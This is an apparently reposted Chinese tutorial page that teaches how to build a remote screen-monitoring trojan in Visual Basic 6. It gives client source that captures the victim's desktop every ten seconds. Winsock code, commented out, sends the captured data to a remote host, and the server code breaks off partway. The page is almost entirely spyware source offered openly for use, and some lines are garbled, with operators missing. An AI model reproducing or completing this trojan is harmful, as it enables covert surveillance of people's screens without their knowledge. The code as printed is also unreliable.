教你如何用VB打造远程屏幕监控木马

2008-02-23 07:14:43来源：互联网阅读 ()

本程序思路是通过定时截取屏幕图形，来作为被控端。源码如下所示　
Option Explicit
Private Type BITMAP
bmType As Long
bmWidth As Long
bmHeight As Long
bmWidthBytes As Long
bmPlanes As Integer
bmBitsPixel As Integer
bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long,
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long)
As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long,
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any,
Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount
As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount
As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal
nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As
Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private MyHdc1 As Long, MyBmp1 As Long, MyOldBmp1 As Long, ScrW As Long, ScrH As Long
Private StartT As Single
Private Sub Form_Load()
Dim bm As BITMAP, BmpSize As Long
Timer1.Enabled = False '间隔时间获取图形
Me.ScaleMode = 3
ScrW = Screen.Width \ Screen.TwipsPerPixelX
ScrH = Screen.Height \ Screen.TwipsPerPixelY
'这只是方便调试的示例，实用程序中，不用临时DC，可直接取窗体的BMP，会快一些
MyHdc1 = CreateCompatibleDC(FrmClient.hdc)
MyBmp1 = CreateCompatibleBitmap(FrmClient.hdc, ScrW, ScrH)
MyOldBmp1 = SelectObject(MyHdc1, MyBmp1)
'Ws2为WinSock控件，用于发送数据
'Ws2.RemoteHost = InputBox("请输入远程服务器ip地址", "远程监控测试", "127.0.0.1")
'Ws2.RemotePort = 2345
'Ws2.Connect
Timer1.Interval = 10000
Timer1.Enabled = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Ws2.Close
SelectObject MyHdc1, MyOldBmp1
DeleteObject MyBmp1
DeleteDC MyHdc1
End Sub
Private Sub Timer1_Timer()
Dim i As Long, d As Long, b As Long, bm As BITMAP, dat() As Byte, BmpSize As Long
StartT = Timer
d = GetDesktopWindow
i = GetDC(d)
BitBlt MyHdc1, 0, 0, ScrW, ScrH, i, 0, 0, vbSrcCopy
ReleaseDC d, i
GetObj MyBmp1, Len(bm), bm
BmpSize = bm.bmWidthBytes * bm.bmHeight
ReDim dat(BmpSize - 1)
GetBitmapBits MyBmp1, BmpSize, dat(0)
ReDim Preserve dat(BmpSize 1)
dat(BmpSize) = 13
dat(BmpSize 1) = 10
'StartT = Timer
'Ws2.SendData dat
Debug.Print dat 'dat为获取到的屏幕图形数据
End Sub
Private Sub Ws2_Close()
StatusBar1.SimpleText = Ws2.RemoteHost & " Disconnected.."
Ws2.Close
End Sub
Private Sub Ws2_Connect()
StatusBar1.SimpleText = Ws2.RemoteHost & " Connected.."
End Sub
Private Sub Ws2_Error(ByVal Number As Integer, Description As String, ByVal Scode As
Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long,
CancelDisplay As Boolean)
On Error Resume Next
StatusBar1.SimpleText = Ws2.RemoteHost & " Error : " & Description
Ws2.Close
End Sub

'=============================================================
'项目名称: Server (远程屏幕监控端)
'窗口名称： FrmServer
'WinSock控件：Ws1
'StatusBar控件:StatusBar1 (注意：StatusBar1.Style = sbrSimple)
'=============================================================

Option Explicit
Private Type BITMAP
bmType As Long
bmWidth As Long
bmHeight As Long
bmWidthBytes As Long
bmPlanes As Integer
bmBitsPixel As Integer
bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long,
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long)
As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long,
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any,

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有